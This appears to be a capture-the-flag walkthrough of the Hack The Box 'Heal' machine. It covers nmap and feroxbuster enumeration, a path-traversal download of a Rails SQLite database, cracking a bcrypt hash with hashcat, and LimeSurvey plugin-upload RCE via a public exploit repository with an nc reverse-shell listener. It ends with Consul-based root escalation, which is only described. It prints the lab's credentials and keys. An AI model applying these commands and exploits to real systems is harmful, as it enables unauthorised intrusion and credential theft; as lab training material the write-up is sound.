Heal
Synopsis
Heal is a medium linux machine created by rajHere. The download pdf feature is vulnerable to Path Traversal vulnerability. The take-survey subdomain is using LimeSurvey and LimeSurvey admin login password is found in Rails on ruby config file which is fetched exploiting the Path Traversal vulnerability. The install plugin feature in LimeSurvey is vulnerable to RCE and exploited it to gain the reverse shell as www-data. The config file of LimeSurvey config file reveals the password and /home directory reveals the user. The password gives us access to the ron user. The hashicorp consul
binary is running and the RCE vulnerability is created when malicious service is created . The vulnerability is exploited and gained the reverse shell as a root.
Linux
Medium
30
14-12-2024
17-05-2025
Enumeration
Nmap
nmap -Pn -sC -sV --min-rate=1000 10.10.11.46
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-17 07:43 EDT
Nmap scan report for 10.10.11.46
Host is up (0.50s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.54 seconds
Web - heal.htb

The website is resume builder and we have to create the account to create our resume. I have created the account and login as a test user. The form is presented to input our information to be presented in the resume.

At the bottom of the form the EXPORT AS PDF button is present. The /export and /download endpoints are requested and PDF is downloaded.


Intercepting the GET
request from /download endpoint and sending it to the repeater in burp
without forwarding it, then changing the value of filename parameter. The Path Traversal vulnerability is found.

Clicking SURVEY > TAKE THE SURVEY button the take-survey subdomain is found. The api.heal.htb is also requested during interacting with the site. Add take-survey and api subdomain in /etc/hosts file.
Web - api.heal.htb

It only returns the rails on ruby page with it's version.
Web - take-survey.heal.htb

The Next button takes to the form where we can write the about the features to be implemented, nothing interesting. The / endpoint takes to the LimeSurvey home page where LimeSurvey Administrator email is given for contact.

Fuzzing - Directories
feroxbuster -u http://take-survey.heal.htb -C 503 -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://take-survey.heal.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [503]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 101l 306w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 12w 178c http://take-survey.heal.htb/admin => http://take-survey.heal.htb/admin/
301 GET 7l 12w 178c http://take-survey.heal.htb/tmp => http://take-survey.heal.htb/tmp/
301 GET 7l 12w 178c http://take-survey.heal.htb/modules => http://take-survey.heal.htb/modules/
301 GET 7l 12w 178c http://take-survey.heal.htb/editor => http://take-survey.heal.htb/editor/
200 GET 15l 56w 468c http://take-survey.heal.htb/tmp/assets/d8ad822d/scripts/custom.js
200 GET 36l 112w 803c http://take-survey.heal.htb/tmp/assets/d8ad822d/css/base.css
200 GET 1085l 4127w 75816c http://take-survey.heal.htb/
301 GET 7l 12w 178c http://take-survey.heal.htb/locale => http://take-survey.heal.htb/locale/
200 GET 1085l 4127w 75816c http://take-survey.heal.htb/Surveys
302 GET 0l 0w 0c http://take-survey.heal.htb/responses => http://take-survey.heal.htb/index.php/admin/authentication/sa/login
500 GET 1l 2w 45c http://take-survey.heal.htb/restrito
404 GET 0l 0w 0c http://take-survey.heal.htb/quebec
500 GET 1l 2w 45c http://take-survey.heal.htb/restrictor_log
401 GET 100l 294w 4569c http://take-survey.heal.htb/Uploader
[####################] - 7m 30051/30051 0s found:14 errors:112
[####################] - 7m 30000/30000 67/s http://take-survey.heal.htb/
The /admin directory is present. Visiting the /admin directory it redirects to /index.php/admin/authentication/sa/login which gives us the LimeSurvey login page.

Ruby Files - Path Traversal Exploit [ heal.htb ]
The api.heal.htb shows the ruby page and the application configuration file of ruby is present in /config/application.rb file.

Nothing much interesting but the application.rb file is fetched and that means the configuration for database file which is database.yml is also present.
# SQLite. Versions 3.8.0 and up are supported.
# gem install sqlite3
#
# Ensure the SQLite 3 gem is defined in your Gemfile
# gem "sqlite3"
#
default: &default
adapter: sqlite3
pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %>
timeout: 5000
development:
<<: *default
database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
<<: *default
database: storage/test.sqlite3
production:
<<: *default
database: storage/development.sqlite3
The path to three sqlite3 file for development, test and production is present here. Downloading development.sqlite3 file.
curl 'http://api.heal.htb/download?filename=../../storage/development.sqlite3' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ' -o development.sqlite3
file development.sqlite3
development.sqlite3: SQLite 3.x database, last written using SQLite version 3045002, writer version 2, read version 2, file counter 2, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 2
Database - development.sqlite3 [ LimeSurvey Access ]
sqlite3 development.sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .table
ar_internal_metadata token_blacklists
schema_migrations users
sqlite> SELECT * FROM users;
1|ralph@heal.htb|$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG|2024-09-27 07:49:31.614858|2024-09-27 07:49:31.614858|Administrator|ralph|1
2|test@heal.htb|$2a$12$zLdrtDmFgKTvutPQe0tDAuwNQ4Hs6GIlrXclavdN.dmMMFjMoSa9u|2025-05-24 00:47:54.397160|2025-05-24 00:47:54.397160|test|test|0
sqlite>
Enumerating the development database gives us the two users and their hashes. The second user account is the account created by me while building the resume in heal.htb. Cracking the hash using hashcat
.
hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-AMD Ryzen 3 7320U with Radeon Graphics, 2553/5170 MB (1024 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9S...GCSZnG
Time.Started.....: Fri May 23 21:38:52 2025 (15 secs)
Time.Estimated...: Fri May 23 21:39:07 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 34 H/s (7.37ms) @ Accel:8 Loops:16 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 512/14344385 (0.00%)
Rejected.........: 0/512 (0.00%)
Restore.Point....: 448/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4080-4096
Candidate.Engine.: Device Generator
Candidates.#1....: lover -> letmein
Hardware.Mon.#1..: Temp: 83c Util: 89%
Started: Fri May 23 21:38:46 2025
Stopped: Fri May 23 21:39:09 2025
Using the above password to login into the LimeSurvey.

The Account section gives us the LimeSurvey version.

Foothold
Shell - www-data [ LimeSurvey RCE ]
Installing plugins in LimeSurvey can be used for RCE. The github user Y1LD1R1M-1337 has created the github repository for exploiting LimeSurvey to gain RCE. Using the repository for getting shell.
Exploit
Git clone the repository
git clone https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
Cloning into 'Limesurvey-RCE'...
remote: Enumerating objects: 24, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 24 (delta 2), reused 0 (delta 0), pack-reused 18 (from 1)
Receiving objects: 100% (24/24), 10.00 KiB | 330.00 KiB/s, done.
Resolving deltas: 100% (5/5), done.
Modifying config.xml and php-rev.php file
----- SNIP -----
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
</compatibility>
----- SNIP -----
----- SNIP -----
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
----- SNIP -----
Change the ip number and port number according to your ip and choice of port.
Getting shell
Once the plugin is installed, open the nc
listener and navigate to /upload/plugins/Y1LD1R1M/php-rev.php
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.46 46072
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
12:27:11 up 16:47, 1 user, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ron pts/0 10.10.16.43 11:51 3:41 0.03s 0.03s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Privilege Escalation
Shell - ron
The home directory contains ron and ralph directories.
$ cd /home
$ ls
ralph
ron
Enumerating the LimeSurvey config.php file, the database password is found.
----- SNIP -----
'db' => array(
'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'emulatePrepare' => true,
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',
'charset' => 'utf8',
'tablePrefix' => 'lime_',
),
----- SNIP -----
The above password works for ron user SSH
login.
ssh ron@10.10.11.46
The authenticity of host '10.10.11.46 (10.10.11.46)' can't be established.
ED25519 key fingerprint is SHA256:/VqroO/Kmxq00rboKFY9TylfAkNdJOiWIOBhnIA4VMs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.46' (ED25519) to the list of known hosts.
ron@10.10.11.46's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat May 24 12:38:35 PM UTC 2025
System load: 0.0
Usage of /: 74.0% of 7.71GB
Memory usage: 25%
Swap usage: 0%
Processes: 253
Users logged in: 1
IPv4 address for eth0: 10.10.11.46
IPv6 address for eth0: dead:beef::250:56ff:feb9:bf6a
Expanded Security Maintenance for Applications is not enabled.
29 updates can be applied immediately.
18 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat May 24 11:51:32 2025 from 10.10.16.43
ron@heal:~$
Pillaging - ron [ user ]
Checking the process using ps aux
reveals that the root is running consul
.
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 167440 13032 ? Ss May23 0:05 /sbin/init
root 2 0.0 0.0 0 0 ? S May23 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< May23 0:00 [rcu_gp]
----- SNIP -----
ralph 1496 0.0 1.1 791276 44272 ? Sl May23 0:00 node /home/ralph/resume-builder/node_modules/.bin/react-scripts start
ralph 1503 0.0 4.7 1399964 187860 ? Sl May23 0:13 node /home/ralph/resume-builder/node_modules/react-scripts/scripts/start.js
ralph 1513 0.0 2.7 1443128 109820 ? Sl May23 0:07 puma: cluster worker 0: 1339 [resume_api]
ralph 1515 0.0 2.7 1443064 109620 ? Sl May23 0:07 puma: cluster worker 1: 1339 [resume_api]
root 1747 0.3 2.7 1359780 111116 ? Ssl May23 3:43 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consu
root 6723 0.0 0.2 239656 8796 ? Ssl May23 0:00 /usr/libexec/upowerd
www-data 22555 0.0 0.0 2892 1000 ? S 07:56 0:00 sh -c /bin/sh -i
www-data 22556 0.0 0.0 2892 1004 ? S 07:56 0:00 /bin/sh -i
----- SNIP -----
The consul
binary and it's config file is present in the system.
ron@heal:~$ which consul
/usr/local/bin/consul
ron@heal:/etc/consul.d$ cat config.json
{
"bootstrap":true,
"server": true,
"log_level": "DEBUG",
"enable_syslog": true,
"enable_script_checks": true,
"datacenter":"server1",
"addresses": {
"http":"127.0.0.1"
},
"bind_addr": "127.0.0.1",
"node_name":"heal-internal",
"data_dir":"/var/lib/consul",
"acl_datacenter":"heal-server",
"acl_default_policy":"allow",
"encrypt":"l5/ztsxHF+OWZmTkjlLo92IrBBCRTTNDpdUpg2mJnmQ="
}
Shell - root [ consul RCE ]
Creating the service using consul
with command in args parameter.
Exploit
Proof of Concept
The below video provides the PoC of Heal machine.
Last updated